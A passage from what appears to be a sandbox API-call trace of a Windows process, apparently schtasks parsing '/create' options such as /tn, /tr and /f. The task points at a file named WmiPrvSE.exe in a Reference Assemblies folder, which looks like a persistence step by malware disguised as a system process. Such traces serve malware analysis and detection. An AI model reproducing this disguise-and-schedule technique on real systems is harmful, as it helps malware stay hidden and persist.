(lpString="rp") returned 2 [0087.762] lstrlenW (lpString="rp") returned 2 [0087.762] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.762] lstrlenW (lpString="tr") returned 2 [0087.762] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.762] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|rp|") returned 4 [0087.762] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.762] lstrlenW (lpString="|rp|") returned 4 [0087.763] lstrlenW (lpString="|tr|") returned 4 [0087.763] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0087.763] SetLastError (dwErrCode=0x490) [0087.763] lstrlenW (lpString="sc") returned 2 [0087.763] lstrlenW (lpString="sc") returned 2 [0087.763] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.763] lstrlenW (lpString="tr") returned 2 [0087.763] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.763] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.763] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.763] lstrlenW (lpString="|sc|") returned 4 [0087.763] lstrlenW (lpString="|tr|") returned 4 [0087.763] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0087.763] SetLastError (dwErrCode=0x490) [0087.763] lstrlenW (lpString="mo") returned 2 [0087.763] lstrlenW (lpString="mo") returned 2 [0087.763] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.763] lstrlenW (lpString="tr") returned 2 [0087.763] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.763] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.763] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.763] lstrlenW (lpString="|mo|") returned 4 [0087.763] lstrlenW (lpString="|tr|") returned 4 [0087.763] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0087.763] SetLastError (dwErrCode=0x490) [0087.764] lstrlenW (lpString="d") returned 1 [0087.764] lstrlenW (lpString="d") returned 1 [0087.764] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.764] lstrlenW (lpString="tr") returned 2 [0087.764] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.764] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|d|") returned 3 [0087.764] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.764] lstrlenW (lpString="|d|") returned 3 [0087.764] lstrlenW (lpString="|tr|") returned 4 [0087.764] SetLastError (dwErrCode=0x490) [0087.764] lstrlenW (lpString="m") returned 1 [0087.764] lstrlenW (lpString="m") returned 1 [0087.764] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.764] lstrlenW (lpString="tr") returned 2 [0087.764] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.764] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|m|") returned 3 [0087.764] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.764] lstrlenW (lpString="|m|") returned 3 [0087.764] lstrlenW (lpString="|tr|") returned 4 [0087.764] SetLastError (dwErrCode=0x490) [0087.764] lstrlenW (lpString="i") returned 1 [0087.764] lstrlenW (lpString="i") returned 1 [0087.764] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.764] lstrlenW (lpString="tr") returned 2 [0087.764] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.765] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|i|") returned 3 [0087.765] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.765] lstrlenW (lpString="|i|") returned 3 [0087.765] lstrlenW (lpString="|tr|") returned 4 [0087.765] SetLastError (dwErrCode=0x490) [0087.765] lstrlenW (lpString="tn") returned 2 [0087.765] lstrlenW (lpString="tn") returned 2 [0087.765] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.765] lstrlenW (lpString="tr") returned 2 [0087.765] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.765] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.765] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.765] lstrlenW (lpString="|tn|") returned 4 [0087.765] lstrlenW (lpString="|tr|") returned 4 [0087.765] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0087.765] SetLastError (dwErrCode=0x490) [0087.765] lstrlenW (lpString="tr") returned 2 [0087.765] lstrlenW (lpString="tr") returned 2 [0087.765] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.765] lstrlenW (lpString="tr") returned 2 [0087.765] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.765] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.765] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.765] lstrlenW (lpString="|tr|") returned 4 [0087.766] lstrlenW (lpString="|tr|") returned 4 [0087.766] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0087.766] SetLastError (dwErrCode=0x0) [0087.766] SetLastError (dwErrCode=0x0) [0087.766] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.766] lstrlenW (lpString="-/") returned 2 [0087.766] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0087.766] SetLastError (dwErrCode=0x490) [0087.766] SetLastError (dwErrCode=0x490) [0087.766] SetLastError (dwErrCode=0x0) [0087.766] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.766] StrChrIW (lpStart="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'" [0087.766] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.766] _memicmp (_Buf1=0xfc480, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.766] _memicmp (_Buf1=0xfd650, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.766] SetLastError (dwErrCode=0x7a) [0087.766] SetLastError (dwErrCode=0x0) [0087.766] SetLastError (dwErrCode=0x0) [0087.766] lstrlenW (lpString="'C") returned 2 [0087.766] lstrlenW (lpString="-/") returned 2 [0087.766] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0087.766] SetLastError (dwErrCode=0x490) [0087.766] SetLastError (dwErrCode=0x490) [0087.766] SetLastError (dwErrCode=0x0) [0087.766] _memicmp (_Buf1=0xfd6b0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.766] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.766] GetProcessHeap () returned 0xe0000 [0087.767] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6d0) returned 1 [0087.767] GetProcessHeap () returned 0xe0000 [0087.767] RtlReAllocateHeap (Heap=0xe0000, Flags=0xc, Ptr=0xfd6d0, Size=0x8a) returned 0xfc3c0 [0087.767] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.767] lstrlenW (lpString=" \x09") returned 2 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0087.767] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0087.767] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0087.767] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0087.768] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0087.768] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0087.769] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0087.769] GetLastError () returned 0x0 [0087.769] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.769] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.769] SetLastError (dwErrCode=0x0) [0087.769] SetLastError (dwErrCode=0x0) [0087.769] lstrlenW (lpString="/f") returned 2 [0087.769] lstrlenW (lpString="-/") returned 2 [0087.769] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.769] lstrlenW (lpString="create") returned 6 [0087.770] lstrlenW (lpString="create") returned 6 [0087.770] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.770] lstrlenW (lpString="f") returned 1 [0087.770] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.770] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|create|") returned 8 [0087.770] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.770] lstrlenW (lpString="|create|") returned 8 [0087.770] lstrlenW (lpString="|f|") returned 3 [0087.770] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0087.770] SetLastError (dwErrCode=0x490) [0087.770] lstrlenW (lpString="?") returned 1 [0087.770] lstrlenW (lpString="?") returned 1 [0087.770] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.770] lstrlenW (lpString="f") returned 1 [0087.770] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.770] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|?|") returned 3 [0087.770] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.770] lstrlenW (lpString="|?|") returned 3 [0087.770] lstrlenW (lpString="|f|") returned 3 [0087.770] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0087.770] SetLastError (dwErrCode=0x490) [0087.770] lstrlenW (lpString="s") returned 1 [0087.770] lstrlenW (lpString="s") returned 1 [0087.771] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.771] lstrlenW (lpString="f") returned 1 [0087.771] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.771] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|s|") returned 3 [0087.771] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.771] lstrlenW (lpString="|s|") returned 3 [0087.771] lstrlenW (lpString="|f|") returned 3 [0087.771] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0087.771] SetLastError (dwErrCode=0x490) [0087.771] lstrlenW (lpString="u") returned 1 [0087.771] lstrlenW (lpString="u") returned 1 [0087.771] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.771] lstrlenW (lpString="f") returned 1 [0087.771] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.771] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|u|") returned 3 [0087.771] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.771] lstrlenW (lpString="|u|") returned 3 [0087.771] lstrlenW (lpString="|f|") returned 3 [0087.771] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0087.771] SetLastError (dwErrCode=0x490) [0087.771] lstrlenW (lpString="p") returned 1 [0087.771] lstrlenW (lpString="p") returned 1 [0087.771] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.771] lstrlenW (lpString="f") returned 1 [0087.772] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.772] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|p|") returned 3 [0087.772] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.772] lstrlenW (lpString="|p|") returned 3 [0087.772] lstrlenW (lpString="|f|") returned 3 [0087.772] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0087.772] SetLastError (dwErrCode=0x490) [0087.772] lstrlenW (lpString="ru") returned 2 [0087.772] lstrlenW (lpString="ru") returned 2 [0087.772] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.772] lstrlenW (lpString="f") returned 1 [0087.772] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.772] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|ru|") returned 4 [0087.772] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.772] lstrlenW (lpString="|ru|") returned 4 [0087.772] lstrlenW (lpString="|f|") returned 3 [0087.772] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0087.772] SetLastError (dwErrCode=0x490) [0087.772] lstrlenW (lpString="rp") returned 2 [0087.772] lstrlenW (lpString="rp") returned 2 [0087.772] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.772] lstrlenW (lpString="f") returned 1 [0087.772] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.772] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|rp|") returned 4 [0087.773] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.773] lstrlenW (lpString="|rp|") returned 4 [0087.773] lstrlenW (lpString="|f|") returned 3 [0087.773] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0087.773] SetLastError (dwErrCode=0x490) [0087.773] lstrlenW (lpString="sc") returned 2 [0087.773] lstrlenW (lpString="sc") returned 2 [0087.773] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.773] lstrlenW (lpString="f") returned 1 [0087.773] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.773] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.773] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.773] lstrlenW (lpString="|sc|") returned 4 [0087.773] lstrlenW (lpString="|f|") returned 3 [0087.773] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0087.773] SetLastError (dwErrCode=0x490) [0087.773] lstrlenW (lpString="mo") returned 2 [0087.773] lstrlenW (lpString="mo") returned 2 [0087.773] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.773] lstrlenW (lpString="f") returned 1 [0087.773] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.773] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.773] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.773] lstrlenW (lpString="|mo|") returned 4 [0087.774] lstrlenW (lpString="|f|") returned 3 [0087.774] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0087.774] SetLastError (dwErrCode=0x490) [0087.774] lstrlenW (lpString="d") returned 1 [0087.774] lstrlenW (lpString="d") returned 1 [0087.774] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.774] lstrlenW (lpString="f") returned 1 [0087.774] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.774] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|d|") returned 3 [0087.774] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.774] lstrlenW (lpString="|d|") returned 3 [0087.774] lstrlenW (lpString="|f|") returned 3 [0087.774] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0087.774] SetLastError (dwErrCode=0x490) [0087.774] lstrlenW (lpString="m") returned 1 [0087.774] lstrlenW (lpString="m") returned 1 [0087.774] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.774] lstrlenW (lpString="f") returned 1 [0087.774] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.774] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|m|") returned 3 [0087.774] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.774] lstrlenW (lpString="|m|") returned 3 [0087.774] lstrlenW (lpString="|f|") returned 3 [0087.774] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0087.775] SetLastError (dwErrCode=0x490) [0087.775] lstrlenW (lpString="i") returned 1 [0087.775] lstrlenW (lpString="i") returned 1 [0087.775] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.775] lstrlenW (lpString="f") returned 1 [0087.775] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.775] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|i|") returned 3 [0087.775] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.775] lstrlenW (lpString="|i|") returned 3 [0087.775] lstrlenW (lpString="|f|") returned 3 [0087.775] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0087.775] SetLastError (dwErrCode=0x490) [0087.775] lstrlenW (lpString="tn") returned 2 [0087.775] lstrlenW (lpString="tn") returned 2 [0087.775] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.775] lstrlenW (lpString="f") returned 1 [0087.775] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.775] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.775] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.775] lstrlenW (lpString="|tn|") returned 4 [0087.775] lstrlenW (lpString="|f|") returned 3 [0087.775] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0087.775] SetLastError (dwErrCode=0x490) [0087.775] lstrlenW (lpString="tr") returned 2 [0087.775] lstrlenW (lpString="tr") returned 2 [0087.776] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.776] lstrlenW (lpString="f") returned 1 [0087.776] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.776] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.776] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.776] lstrlenW (lpString="|tr|") returned 4 [0087.776] lstrlenW (lpString="|f|") returned 3 [0087.776] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0087.776] SetLastError (dwErrCode=0x490) [0087.776] lstrlenW (lpString="st") returned 2 [0087.776] lstrlenW (lpString="st") returned 2 [0087.776] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.776] lstrlenW (lpString="f") returned 1 [0087.776] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.776] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|st|") returned 4 [0087.776] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.776] lstrlenW (lpString="|st|") returned 4 [0087.776] lstrlenW (lpString="|f|") returned 3 [0087.776] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0087.776] SetLastError (dwErrCode=0x490) [0087.776] lstrlenW (lpString="sd") returned 2 [0087.776] lstrlenW (lpString="sd") returned 2 [0087.776] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.777] lstrlenW (lpString="f") returned 1 [0087.777] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.777] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sd|") returned 4 [0087.777] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.777] lstrlenW (lpString="|sd|") returned 4 [0087.777] lstrlenW (lpString="|f|") returned 3 [0087.777] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0087.777] SetLastError (dwErrCode=0x490) [0087.777] lstrlenW (lpString="ed") returned 2 [0087.777] lstrlenW (lpString="ed") returned 2 [0087.777] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.777] lstrlenW (lpString="f") returned 1 [0087.777] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.777] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|ed|") returned 4 